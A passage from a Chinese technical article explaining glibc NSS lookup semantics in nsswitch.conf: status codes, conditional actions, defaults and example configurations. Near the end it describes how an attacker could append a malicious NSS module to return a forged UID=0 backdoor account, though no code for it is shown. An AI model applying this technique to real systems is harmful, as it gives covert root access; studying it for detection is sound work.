leaf="">[...]</span></code><span leaf=""> 包裹，紧跟在数据源后面</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">系统按</span><strong style="font-weight: bold;color: black;"><span leaf="">从左到右</span></strong><span leaf="">的顺序依次查询每个数据源，查询结果会触发对应的条件动作，决定是继续还是停止。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">STATUS：查询结果的四种状态</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每次 NSS 查询可能返回以下四种状态（定义于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss/nss.h</span></code><span leaf="">）。另外，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">NSS_STATUS_RETURN</span></code><span leaf=""> 是 glibc 内部使用的第五个枚举值，主要用于边界检查和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">compat</span></code><span leaf="">/</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">netgrp</span></code><span leaf=""> 等内部模块的特殊流程控制，第三方 NSS 模块通常不需要返回该状态：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  NSS_STATUS_TRYAGAIN = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-2</span></span><span leaf="">,  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 服务暂时不可用（如文件被锁、服务器繁忙）</span></span><span leaf=""><br/></span><span leaf="">  NSS_STATUS_UNAVAIL,        </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 服务永久不可用（如文件不存在、服务器离线）</span></span><span leaf=""><br/></span><span leaf="">  NSS_STATUS_NOTFOUND,       </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 查询成功但未找到目标条目</span></span><span leaf=""><br/></span><span leaf="">  NSS_STATUS_SUCCESS,        </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 查询成功且找到了目标条目</span></span><span leaf=""><br/></span><span leaf="">  NSS_STATUS_RETURN,         </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 内部标记值，用于边界检查和终止动作，不由模块返回</span></span><span leaf=""><br/></span><span leaf="">};</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">ACTION：三种响应动作</span></h4><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">动作</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">含义</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">return</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">立即返回当前结果，不再查询后续数据源</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">continue</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">忽略当前结果，继续查询下一个数据源</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">merge</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">合并当前结果与下一个数据源的结果（仅 </span><code><span leaf="">group</span></code><span leaf=""> 数据库支持，glibc 2.24+）</span></p></td></tr></tbody></table><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">条件动作语法</span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">[STATUS=ACTION]</span><span leaf=""><br/></span><span leaf="">[!STATUS=ACTION]</span></code></pre><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">!</span></code><span leaf=""> 表示取反：匹配</span><strong style="font-weight: bold;color: black;"><span leaf="">除指定状态外</span></strong><span leaf="">的所有状态</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">大小写不敏感（源码中使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__strncasecmp</span></code><span leaf=""> 比较）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">一个方括号内可以写多个条件，用空格分隔</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">默认行为</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果不写任何 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">[STATUS=ACTION]</span></code><span leaf="">，每个数据源使用以下默认动作：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">STATUS</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">默认 ACTION</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">SUCCESS</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">return</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">NOTFOUND</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">continue</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">UNAVAIL</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">continue</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">TRYAGAIN</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">continue</span></code></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个默认行为在源码 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss/nss_action_parse.c</span></code><span leaf=""> 中可以清晰看到（第 64-66 行）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">nss_action_set_all (&amp;new_service, NSS_ACTION_CONTINUE);</span><span leaf=""><br/></span><span leaf="">nss_action_set (&amp;new_service, NSS_STATUS_SUCCESS, NSS_ACTION_RETURN);</span><span leaf=""><br/></span><span leaf="">nss_action_set (&amp;new_service, NSS_STATUS_RETURN, NSS_ACTION_RETURN);</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">即：先将所有状态设为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">CONTINUE</span></code><span leaf="">，然后将 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SUCCESS</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">RETURN</span></code><span leaf=""> 覆盖为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">RETURN</span></code><span leaf="">。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">实际配置示例解读</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">示例 1：Ubuntu 24.04 实际配置</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">hosts: files dns</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">解析流程：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">1. 查 files（本地 /etc/hosts）</span><span leaf=""><br/></span><span leaf="">   - SUCCESS → return（默认：找到了就直接返回）</span><span leaf=""><br/></span><span leaf="">   - NOTFOUND → continue（默认：没找到继续查 dns）</span><span leaf=""><br/></span><span leaf="">   - UNAVAIL → continue（默认）</span><span leaf=""><br/></span><span leaf="">2. 查 dns（DNS 服务器查询）</span><span leaf=""><br/></span><span leaf="">   - SUCCESS → return（默认）</span><span leaf=""><br/></span><span leaf="">   - NOTFOUND → return（默认）</span><span leaf=""><br/></span><span leaf="">   - UNAVAIL → return（默认）</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">示例 2：带条件动作的配置（常见于安装了 mDNS 的系统）</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">hosts: files mdns4_minimal [NOTFOUND=return] dns</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">解析流程：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">1. 查 files（本地 /etc/hosts）</span><span leaf=""><br/></span><span leaf="">   - SUCCESS → return（默认）</span><span leaf=""><br/></span><span leaf="">   - NOTFOUND → continue（默认）</span><span leaf=""><br/></span><span leaf="">   - UNAVAIL → continue（默认）</span><span leaf=""><br/></span><span leaf="">2. 查 mdns4_minimal（mDNS 局域网解析）</span><span leaf=""><br/></span><span leaf="">   - SUCCESS → return（默认）</span><span leaf=""><br/></span><span leaf="">   - NOTFOUND → return（显式指定：局域网没找到就放弃，不再查后面的 dns）</span><span leaf=""><br/></span><span leaf="">   - UNAVAIL → continue（默认）</span><span leaf=""><br/></span><span leaf="">3. 查 dns（DNS 服务器查询）</span><span leaf=""><br/></span><span leaf="">   - 作为 mdns4_minimal NOTFOUND 之外情况的后备</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">示例 3：取反操作符</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">hosts: dns [!UNAVAIL=return] files</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">!UNAVAIL=return</span></code><span leaf=""> 的含义是：对</span><strong style="font-weight: bold;color: black;"><span leaf="">除 UNAVAIL 之外</span></strong><span leaf="">的所有状态执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">return</span></code><span leaf="">。等价于同时写了：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">hosts: dns [SUCCESS=return NOTFOUND=return TRYAGAIN=return] files</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">即：DNS 只要在运行（不管找到没找到），就直接返回结果；只有 DNS 完全不可用时，才回退到 files。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">一个关键细节：NOTFOUND 和 UNAVAIL 的区别</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在理解 NSS 后门之前，必须搞清楚一个容易混淆的问题。以 passwd 数据库为例：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">passwd: files ldap</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当查找用户 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">test1</span></code><span leaf=""> 时，如果 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 中没有这个用户，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 数据源会返回什么状态？</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">很多人会直觉认为是&#34;没找到&#34;或者&#34;不可用&#34;，但 NSS 对此有精确的区分：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">状态</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">含义</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">触发条件</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">默认动作</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">NOTFOUND</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">数据源可用，但查不到目标条目</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">/etc/passwd</span></code><p><span leaf=""> 正常打开、逐行遍历完毕，但里面没有 test1</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">continue</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">UNAVAIL</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">数据源本身不可用</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">/etc/passwd</span></code><p><span leaf=""> 文件不存在，或无法打开</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">continue</span></code></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">两者的默认动作都是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">continue</span></code><span leaf="">，会继续查下一个数据源。也就是说：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 中</span><strong style="font-weight: bold;color: black;"><span leaf="">没找到</span></strong><span leaf="">用户 → 返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">NOTFOUND</span></code><span leaf=""> → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">continue</span></code><span leaf=""> → 继续查 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ldap</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><strong style="font-weight: bold;color: black;"><span leaf="">不可用</span></strong><span leaf="">（文件被删）→ 返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">UNAVAIL</span></code><span leaf=""> → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">continue</span></code><span leaf=""> → 继续查 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ldap</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 中</span><strong style="font-weight: bold;color: black;"><span leaf="">找到了</span></strong><span leaf="">用户 → 返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">SUCCESS</span></code><span leaf=""> → </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">return</span></code><span leaf=""> → 停止查询，不再查 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ldap</span></code></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">这个&#34;NOTFOUND 默认 continue&#34;的行为，正是 NSS 后门的核心前提</span></strong><span leaf="">：攻击者可以在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 后面追加一个恶意数据源（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf="">），当系统用户查找在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 中找不到时，查询会自动落到恶意模块上。恶意模块可以返回一个伪造的用户条目（如 UID=0 的后门账户），而合法用户（在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 中能找到的）完全不受影响。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">3.2 源码解析：glibc 如何加载 NSS 模块</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本节将从源码层面追踪一个完整的 NSS 